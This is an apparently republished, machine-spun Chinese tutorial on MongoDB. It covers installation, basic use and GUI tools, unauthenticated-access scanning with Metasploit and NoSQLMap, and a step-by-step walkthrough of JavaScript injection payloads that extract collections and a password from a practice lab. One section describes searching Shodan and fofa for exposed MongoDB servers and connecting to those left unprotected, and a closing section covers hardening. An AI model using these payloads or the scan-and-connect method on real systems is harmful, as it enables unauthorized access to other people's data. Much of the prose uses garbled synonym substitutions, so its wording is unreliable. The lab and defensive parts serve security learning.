27018:设置--shardsvr运行变量或在配置文件里设置clusterRole为shardsvr时的默认端口
术语先容:SQL术语/观点
MongoDB术语/观点

阐明/解释
database
database
数据库
table
collection
数据库表/凑集
row
document
数据记录行/文档
column
field
数据字段/域
index
index
索引
Mongodb中每个数据库含有一个或多个凑集collections(相称于table)
Mongodb中每个凑集含有一个或多个文档document(相称于数据行)
文档Document是一组键值对,MongoDB 的文档不须要设置相同的字段,并且相同的字段不须要相同的数据类型,这与关系型数据库有很大的差异,也是 MongoDB 非常突出的特点。文档大略例子:
{"username":"tom","password":"tom","email":"tom@gmail.com"}
MongoDB自带数据库:
admin: 从权限的角度来看,这是"root"数据库。假如将一个用户添加到这个数据库,这个用户自动继续所有数据库的权限。一些特定的做事器端命令也只能从这个数据库运行,比如列出所有的数据库或者关闭做事器。
local:这个数据永久不会被复制,可以用来存储限于本地单台做事器的任意凑集
config: 当Mongo用于分片设置时,config数据库在内部利用,用于保存分片的干系信息。
漏洞成因:MongoDB 未配置访问认证授权 ,无需认证连接数据库后对数据库进行任意操作(未授权访问漏洞),存在严重的数据透露风险。默认情形下MongoDB安装后,没有账号密码且未开启权限验证。但不同版本的监听地址不同,3.0之前版本默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。
二、软件安装及环境搭建1、MongoDB安装MongoDB官网供应了32位、64位的预编译二进制包。选择最新版下载msi即可(截止到写这篇文章的韶光,最新版本为4.4.5)
MongoDB下载地址: https://www.mongodb.com/try/download/community
下载好后,拖进虚拟机,双击安装
1)选择安装类型选择 Custom 自定义安装
2)修正MongoDB安装路径
3)做事配置这里默认即可,Data Directory和Log Directory分别存放数据及日志文件信息
4)不勾选MongoDB Compass
在默认的安装下,该文件会自动安装。也可以不勾选 install MongoDB compass ,到官网上去安装。这里留到后面单独装。
等待少焉即可安装完成,碰着提示选择第一个即可。
2、MongoDB配置bin目录构造
mongod.cfg 文件为Windows里的配置文件,在Linux中名字为 mongod.conf
设置许可远程连接在 mongod.cfg 文件中将 bindIP 地址修正为 0.0.0.0 ,这样外部 IP 可以连接 MongoDB ,便于测试
# network interfacesnet:port: 27017bindIp: 0.0.0.0
将 bin 目录配置进环境变量 C:\MongoDB\bin
测试是否配置成功,在cmd下直接输入mongo即可判断
配置文件启动
目的:将 mongodb 做事安装到 Windows 做事中,可以通过net命令进行开启和关闭
首先在 C:\MongoDB 目录下创建一个 mongodb.conf 文件(这个文件名和文件的路径随意,只要在mongodb目录下就行)
编辑该文件,配置干系信息,修正部分即可
#数据库路径dbpath=c:\MongoDB\data\#日志输出文件路径logpath=c:\MongoDB\log\mongodb.log#缺点日志采取追加模式,配置这个选项后mongodb的日志会追加到现有的日志文件,而不是重新创建一个新文件logappend=true#启用日志文件,默认启用journal=true#这个选项可以过滤掉一些无用的日志信息,若须要调试利用请设置为falsequiet=false#端口号 默认为27017port=27017
然后在cmd中输入下面命令,命名该做事名为 mongodb
mongod --config c:\MongoDB\mongodb.conf --install --serviceName "mongodb"
验证是否配置成功
net stop mongodbnet start mongodb
参考下文第四点: Windows下图文详解Mongodb安装及配置
3、Kali 下MongoDB安装1)导入MongoDB密钥wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -
2)创建文件
echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.4 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list
3)更新软件包数据库
sudo apt-get update
4)安装MongoDB软件包
sudo apt-get install -y mongodb-org
4、Kali MongoDB做事配置1)启动MongoDB做事
sudo systemctl start mongod#查看端口信息netstat -ntulp
systemctl status mongod
systemctl stop mongod
4)重启MongoDB做事
systemctl restart mongod
5)设置许可远程连接可在远程访问该库信息
sudo vi /etc/mongod.conf# 修正bindIP为0.0.0.0# network interfacesnet:port: 27017bindIp: 0.0.0.0
删除软件包:
sudo apt-get purge mongodb-org
可以通过下面命令来查看这些软件包文件,也可以检测是否删除完成
locate monodb-org
删除数据目录:
sudo rm -r /var/log/mongodbsudo rm -r /var/lib/mongodb
三、MongoDB基本操作1、大略观点
MongoDB Shell 是 MongoDB 自带的交互式 Javascript shell ,用于对 MongoDB 进行操作和管理的交互式环境。进入到 MongoDB shell 后,直接在命令行窗口下输入 mongo 即可(条件是配置了环境变量),进入后默认连接到test(数据库)。由于自带交互式 Javascript shell ,可以直接在Mongo shell里进行一些大略的打算操作。
> 1+12> 0x10+0x1032
2、基本命令1)查看数据库列表
show dbs
默认上岸后,当前数据库为test
db
use xiguadb
这里创建的xiguadb数据库并没有显示在dbs中,须要在xiguadb数据库中添加文档即可
4)插入数据db.xiguadb.insert({"name":"john"})
插入文档后,dbs中显示了xiguadb数据库 注:这里文档是插入到名为xiguadb的凑集中(自动创建的凑集)
5)查看凑集列表当前数据库下的所有凑集列表
show collectionsshow tables
在 MongoDB 中,不须要创建凑集。当你插入一些文档时,MongoDB 会自动创建凑集,一样平常同数据库名。
6)创建凑集db.createCollection("lanmei")
先插入几条文档,再进行条件查询,pretty() 方法以格式化的办法来显示所有文档
db.lanmei.insert({"str":"kkk","id":"001"})db.lanmei.insert({"num":"1234567","id":"002"})db.lanmei.find({"num":"1234567"}).pretty()
文档插入后会自动添加一个 _id 属性,为唯一标识符
8)删除文档db.lanmei.remove({"str":"kkk"})
删除键值对为str和kkk的文档
9)删除凑集db.lanmei.drop()
删除目前利用的数据库
db.dropDatabase()
mongo --host 192.168.112.177 --port 27017 -u "mgtest" -p "123.com" --authenticationDatabase "admin"或者mongo -u mgtest -p 123.com localhost:27017/admin
四、MongoDB工具利用1、MongoDB Compass安装
MongoDB compass 为 MongoDB 可视化工具,用于运维(可装可不装)
1)MongoDB Compass下载在默认的安装下,该文件会自动安装。也可以不勾选 install MongoDB compass ,到官网上去安装 下载链接: https://www.mongodb.com/download-center/compass
选择最新版下载文件即可(zip、msi均可)
2)MongoDB Compass msi文件安装3)MongoDB Compass利用启动进入程序后,点击Connect连接本地数据库
连接成功,可以看到本地MongoDB数据库信息
MongoDB Compass作为官方的一款可视化管理工具,利用体验还是挺不错的
2、Robo 3T工具Robo 3T是一款免费、开源的MongoDB可视化管理工具。其前身为Robomongo,后被3T Software Labs收购更名为Robo 3T。
下载地址: https://robomongo.org/ 蓝奏云下载: https://wwe.lanzoui.com/iV7hXo5baej
1)安装Robo 3T
下载好后,点击启动安装,默认下一步即可
2)启动Robo 3T,连接数据库
启动Robo 3T程序,在连接界面选择左上角的Create选项,地址填本地地址及端口,连接进入
3)查询数据库内容
这里以上面的演示的xiguadb数据库和lanmei凑集为例。下图可以看到MongoDB数据库信息构造
db.lanmei.insert({"str":"kkk","id":"001"})db.lanmei.insert({"num":"1234567","id":"002"})
在查询窗口中输入命令进行查询操作,可自行上手体验。
3、Navicat_MongoDB工具Navicat for MongoDB 供应高效图形化界面,用于MongoDB 数据库的管理、开拓和监控。它能连接本地或远程的 MongoDB做事器。
中文下载地址: http://www.navicat.com.cn/products/navicat-for-mongodb 英文下载地址: https://navicat.com/en/products/navicat-for-mongodb
下载好安装程序后,默认下一步安装
安装路径默认
进入主页面后,选择连接,选择 MongoDB ,填连接名 mongo (这个名是随意填的)
之后操作轻松上手
4、NoSQLMap工具NoSQLMap是一款免费、开源的基于python2的脚本工具,用于审计和自动注入攻击,并利用 NoSQL 数据库和 Web 运用程序中的默认配置弱点,利用 NoSQL 来表露或克隆数据库中的数据。是市情上为数不多的支持MongoDB数据库SQL注入的工具。
项目地址: https://github.com/codingo/NoSQLMap
1)安装python setup.py install
python nosqlmap.py
1-设置选项 2-NoSQL数据库访问攻击 3-NoSQL Web运用程序攻击 4-扫描匿名MongoDB访问 5-Change平台(目前:MongoDB) x-Exit
3)大略利用选择1-设置选项
1-设置目标主机/IP(当前:未设置)2-设置web运用端口(当前为80)3-设置App路径(当前:未设置)4-切换为HTTPS(当前关闭)5-设置MongoDB端口(当前:27017)6-设置HTTP要求办法(GET/POST) (Current: GET)7-设置MongoDB/Shell本地IP(当前:未设置)8-设置shell监听端口(当前:未设置)9-设置详细模式(Current: OFF)0-载入选项文件a-从保存的Burp要求载入选项b-保存选项文件h-设置要求头x-返回主菜单
这里以上面的mozhe靶场做演示,靶园地址为: http://219.153.49.228:49818/new_list.php?id=1
填完干系配置项后,x返回主菜单,选择3NoSQL Web运用攻击
跑完一圈下来,注入全部失落败。。
上手体验极差,毕竟这个脚本上次更新已经好久了,这款脚本比较鸡肋,还是手动注入行。
五、MongoDB漏洞复现MongoDB在3版本往后并未涌现RCE漏洞,一样平常的MongoDB漏洞基本上都是信息透露之类的,以是要RCE还要和别的漏洞进行合营,下面先容的漏洞也基本上是关于信息透露的。
1、MSF渗透MongoDB信息透露
0x01 简介MSF中供应了一些用于渗透测试的脚本,输入下面命令查看和mongodb干系的渗透脚本。可以看到MSF中并没有很多关于MongoDB的脚本,唯一一个exploit也是对应2.x版本的MongoDB,现在基本没啥用,图中最有用的就属mongodb_login脚本了,它是一个扫描脚本,用于扫描目标主机是否开启MongoDB做事的27017端口及是否存在未授权访问漏洞
search mongodb
以Win 2016上的MongoDB测试,其IP地址为:192.168.112.176,利用脚本mongodb_login,查看选项。
这个脚本一样平常就可以用于批量扫描MongoDB做事及未授权访问漏洞,可以进一步结合上面提及到的GUI管理工具(Compass、Robo 3T、Navicat)上岸进MongoDB查看到数据库信息造成信息透露。
2、MongoDB数据库SQL注入漏洞信息透露
0x01 简介复现地址: https://www.mozhe.cn/bug/detail/YXlRYUJPYk1vQjAreHlweVAyMzVTUT09bW96aGUmozhe
SQL手工注入漏洞测试(MongoDB数据库),手工进行SQL注入测试,获取管理密码登录。
背景先容:安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MongoDB,PHP代码对客户端提交的参数未做任何过滤。尽情地练习SQL手工注入吧。
附上源代码截图:
0x02 渗透过程1)页面信息
进入靶场后,创造一个关照页面,在地址栏可以看到id参数,很有可能是注入点
2)引号大略测试
在末了面添加单引号进行测试,页面发生了变革,解释存在SQL注入漏洞
id=1%27
源代码主要部分:
# 查询语句,这里id值可控且没有经由过滤和限定$query = "var data = db.notice.findOne({'id':'$id'}); return data;";#打印出数据库中title字段和content字段信息<?php echo $obj['retval']['title'] ?><?php echo $obj['retval']['content'] ?>
4)布局链接测试
id=1'}); return ({title:1,content:'test
id=1'}); return ({title:tojson(db),content:'test查询当前库名db返回的是一个数组,回显为array,利用tojson()方法将其转为字符串类型
查询当前库的所有凑集
id=1'}); return ({title:tojson(db.getCollectionNames()),content:'testgetCollectionNames()以数组形式返回所有凑集,须要利用tojson()方法转字符串格式
直接查询第1个凑集名
id=1'}); return ({title:db.getCollectionNames()[0],content:'test
可以爆出用户名和密码信息
id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'test
MD5加密:a83cd5ad5ed3e1c5597441aaab289f5c解密后 dsansda
Linux:mongo --host 219.153.49.228 -u "mozhe" --authenticationDatabase "mozhe" -p'dsansda'
利用Robo 3T
填入上岸用户及密码
上岸后获取Key即可,不过这里始终登不进去,该IP连接不到,这个该当是靶场的问题。
六、MongoDB实战这部分紧张是在网络搜索到一些存在未授权访问漏洞的MongoDB做事,查看到其数据,这部分较敏感,大致演示下即可
1)前往shodan、fofa等网络空间搜索引擎输入关键字product:"MongoDB"进行搜索
2)随便看是否存在未授权访问漏洞
在MSF中进行扫描检测(国外的站)
3)Robo 3T连接未授权访问
经由多次测试,可以创造目前大部分暴露在网络上的存在未授权访问漏洞MongoDB做事都已经被"上锁"了,对付提升MongoDB的安全性,还须要一些防御方法
七、MongoDB防御方法1、修正监听地址在mongod.cfg文件中将监听IP地址改为指定IP或者本地IP(Linux下为mongod.conf文件)
# network interfacesnet:port: 27017bindIp: 127.0.0.1
2、启动基于角色的登录认证功能
MongoDB支持SCRAM、x.509证书认证等多种认证机制,SCRAM(Salted Challenge Response Authentication Mechanism)是3.x版本的默认认证机制,该机制通过用户名、密码验证,基于用户角色进行访问掌握。
1)创建系统用户管理员# 切换至admin数据库下use admin# 创建mgtest用户,密码为123.condb.createUser({user: "mgtest",pwd: "123.com",roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]})# userAdminAnyDatabase: 授予所有数据库的useradmin权限
对匿名上岸的用户进行权限限定,须要进行认证
vi /etc/mongod.confsecurity:authorization: enabled
重启MongoDB做事
3)系统用户登录mongo --port 27017 -u "mgtest" -p "123.com" --authenticationDatabase "admin"或者mongo -u mgtest -p 123.com localhost:27017/admin
远程上岸
mongo --host 192.168.112.177 --port 27017 -u "mgtest" -p "123.com" --authenticationDatabase "admin"
如果这里以普通用户直接上岸,可以上岸进,但是没有权限。
利用MSF的mongodb_login模块也扫描不到该主机存在未授权访问漏洞
5)通过db.auth()方法认证
也在连接MongoDB时匿名上岸,连接成功后通过db.auth()方法进行认证
use admindb.auth("mgtest","123.com")
本文先容了MongoDB的利用、MongoDB注入、未授权访问漏洞及防御方法,在MongoDB3.0往后的版本基本上就只存在未授权访问漏洞一种,并未RCE漏洞,也便是只存在信息透露的可能,并不像其他数据库可以直接拿shell,在这方面MongoDB的安全性还是偏高的。
原文链接:https://www.freebuf.com/vuls/277847.html